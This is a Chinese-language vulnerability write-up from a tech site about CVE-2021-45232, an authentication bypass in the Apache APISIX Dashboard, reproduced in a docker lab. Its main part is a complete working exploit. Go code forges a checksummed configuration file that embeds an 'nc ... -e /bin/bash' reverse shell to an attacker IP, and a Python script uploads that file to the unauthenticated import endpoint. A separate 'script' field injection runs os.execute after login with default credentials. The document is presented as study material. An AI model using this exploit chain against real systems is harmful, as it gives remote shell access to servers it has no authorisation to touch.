Apache APISIX Dashboard 未授权访问漏洞分析(CVE-2021-45232)

 更新时间:2023年03月16日 14:45:25   作者:Big&Bird  
Apache APISIX 是一个动态、实时、高性能的 API 网关, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能,这篇文章主要介绍了Apache APISIX Dashboard 未授权访问漏洞(CVE-2021-45232),需要的朋友可以参考下

声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。

漏洞描述

Apache APISIX 是一个动态、实时、高性能的 API 网关, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。Apache APISIX Dashboard 使用户可通过前端界面操作 Apache APISIX。该漏洞的存在是由于 Manager API 中的错误。Manager API 在 gin 框架的基础上引入了 droplet 框架,所有的 API 和鉴权中间件都是基于 droplet 框架开发的。但是有些 API 直接使用了框架 gin 的接口,从而绕过身份验证。

影响范围

Apache APISIX Dashboard < 2.10.1

环境部署

通过git clone apisix-docker

git clone https://github.com/apache/apisix-docker
cd apisix-docker/example/

修改docker-compose.yml

apache/apisix-dashboard:2.7
apache/apisix:2.6-alpine


然后,docker-compose up -d 启动环境

环境起来后,浏览器通过默认端口9000访问apisix dashboard

后台RCE

由于apisix dashboard 默认账号和密码是admin:admin,所以我们先登录到后台,来验证一把远程命令执行

首先创建一个上游服务,点击创建,名称随意命名,目标节点填写我们转发请求的服务,这里我们填写docker附带的Grafana应用,端口号为3000,点击下一步,提交即可。

其次,创建一个路由,名称任意起,路径也是自定义,点击下一步,选择我们刚才创建的上游服务,最后,提交即可。

查看创建的路由

回到路由配置页面,点击配置,然后一直下一步,直到提交时,使用BurpSuite抓包

然后在请求包的body中,添加一个script字段后,发送请求。

"script": "os.execute('touch /tmp/Keepb1ue')"

再次查看,路由配置信息

接着,我们访问一下: http://192.168.10.171:9080/rce111

docker中看一下,是否创建了Keepblue这个文件

未授权接口RCE

如果没有默认密码或者弱密码的话,这时我们就利用未授权接口进行RCE了

/apisix/admin/migrate/export
/apisix/admin/migrate/import

首先,使用/apisix/admin/migrate/export导出配置文件

因为是未授权,所以在未登陆情况下,BP抓包后,请求接口改为/apisix/admin/migrate/export,点击send后,看到配置文件信息

在导入配置文件时,会对配置文件的checksum值进行校验,那这里其实是可以通过写脚本算出checksum校验值,或者是根据apisix的源码去计算出新的checksum值

源码位置在:apisix-dashboard-master\api\internal\handler\migrate\migrate.go的ExportConfig函数将其计算源码单独抽取出来,并将需要导入的配置(data)进修替换和插入RCE语句

package main

import (
    "encoding/binary"
    "fmt"
    "hash/crc32"
    "io/ioutil"
    "os"
)
func main() {
    gen()
}
func gen() {
    data := []byte(`{"Counsumers":[],"Routes":[{"id":"403141558204891851","create_time":1649820693,"update_time":1649821490,"uris":["/rce111"],"name":"lyroute","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')","script_id":"403141558204891851","upstream_id":"403140847589130955","status":1}],"Services":[],"SSLs":[],"Upstreams":[{"id":"403140847589130955","create_time":1649820270,"update_time":1649820270,"nodes":[{"host":"192.168.10.171","port":3000,"weight":1}],"timeout":{"connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"pass","name":"lytest"}],"Scripts":[{"id":"403141558204891851","script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')"}],"GlobalPlugins":[],"PluginConfigs":[]}`)
    checksumUint32 := crc32.ChecksumIEEE(data)
    checksumLength := 4
    checksum := make([]byte, checksumLength)
    binary.BigEndian.PutUint32(checksum, checksumUint32)
    fileBytes := append(data, checksum...)

    content := fileBytes
    fmt.Println(content)

    importData := content[:len(content)-4]
    checksum2 := binary.BigEndian.Uint32(content[len(content)-4:])
    if checksum2 != crc32.ChecksumIEEE(importData) {
        fmt.Println(checksum2)
        fmt.Println(crc32.ChecksumIEEE(importData))
        fmt.Println("Check sum check fail, maybe file broken")
        return
    }
    err := ioutil.WriteFile("apisixPayload", content, os.ModePerm)
    if err != nil {
        fmt.Println("error!!")
        return
    }
}

运行这段脚本,会生成apisixPayload这个文件

这个就是我们要import上去的计算好校验值的新的配置文件,接下来使用python代码可以简单的传到服务端

import requests
url = "http://192.168.10.171:9000/apisix/admin/migrate/import"
files = {"file": open("apisixPayload", "rb")}
r = requests.post(url, data={"mode": "overwrite"}, files=files)
print(r.status_code)
print(r.content)

在攻击机上,开启nc监听

接下来,访问路由地址(http://192.168.10.171:9080/rce111),触发远程命令执行

查看nc反弹shell

反弹成功,说明命令已经执行

到此这篇关于Apache APISIX Dashboard 未授权访问漏洞(CVE-2021-45232)的文章就介绍到这了,更多相关Apache APISIX Dashboard 未授权访问漏洞内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • Linux下core文件的使用方法详解

    Linux下core文件的使用方法详解

    大家都知道,在程序异常推出时,内核会生成一个core文件(是内存映像以及调试信息),下面这篇文章主要给大家介绍了关于Linux下core文件的使用方法,文中通过示例代码介绍的非常详细,需要的朋友可以参考借鉴,下面随着小编来一起学习学习吧。
    2018-03-03
  • linux中install命令和cp命令的使用与区别

    linux中install命令和cp命令的使用与区别

    相信大家都知道linux中的命令Install和cp类似,都可以将文件/目录拷贝到指定的地点。下面这篇文章就详细介绍了linux中install命令和cp命令的介绍与区别。有需要的朋友们可以参考借鉴,下面来一起看看吧。
    2017-01-01
  • Gerrit设置开机启动方法

    Gerrit设置开机启动方法

    下面小编就为大家分享一篇Gerrit设置开机启动方法,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2018-03-03
  • Linux中使用命令more,less,cat查看文件内容

    Linux中使用命令more,less,cat查看文件内容

    今天小编就为大家分享一篇关于Linux中使用命令more,less,cat查看文件内容,小编觉得内容挺不错的,现在分享给大家,具有很好的参考价值,需要的朋友一起跟随小编来看看吧
    2019-03-03
  • Linux双网卡绑定实现负载均衡详解

    Linux双网卡绑定实现负载均衡详解

    这篇文章主要为大家详细介绍了Linux双网卡绑定实现负载均衡,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2017-10-10
  • Linux下gdb调试打印字符串方式

    Linux下gdb调试打印字符串方式

    这篇文章主要介绍了Linux下gdb调试打印字符串方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教
    2023-09-09
  • 基于linux程序中段的学习总结详解

    基于linux程序中段的学习总结详解

    本篇文章是对linux程序中段的学习进行了详细的总结与分析,需要的朋友参考下
    2013-05-05
  • Linux 出现telnet: 127.0.0.1: Connection refused错误解决办法

    Linux 出现telnet: 127.0.0.1: Connection refused错误解决办法

    这篇文章主要介绍了Linux 出现telnet: connect to address 127.0.0.1: Connection refused错误解决办法的相关资料,需要的朋友可以参考下
    2017-05-05
  • Apache跨域资源访问报错问题解决方案

    Apache跨域资源访问报错问题解决方案

    这篇文章主要介绍了Apache跨域资源访问报错问题解决方案,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
    2020-07-07
  • CentOS 6.3安装配置nginx+php+mysql

    CentOS 6.3安装配置nginx+php+mysql

    这篇文章主要给大家介绍的是CentOS 6.3安装配置LNMP服务器(Nginx+PHP+MySQL)的详细步骤以及遇到问题的解决方法,希望大家能够喜欢
    2016-10-10

最新评论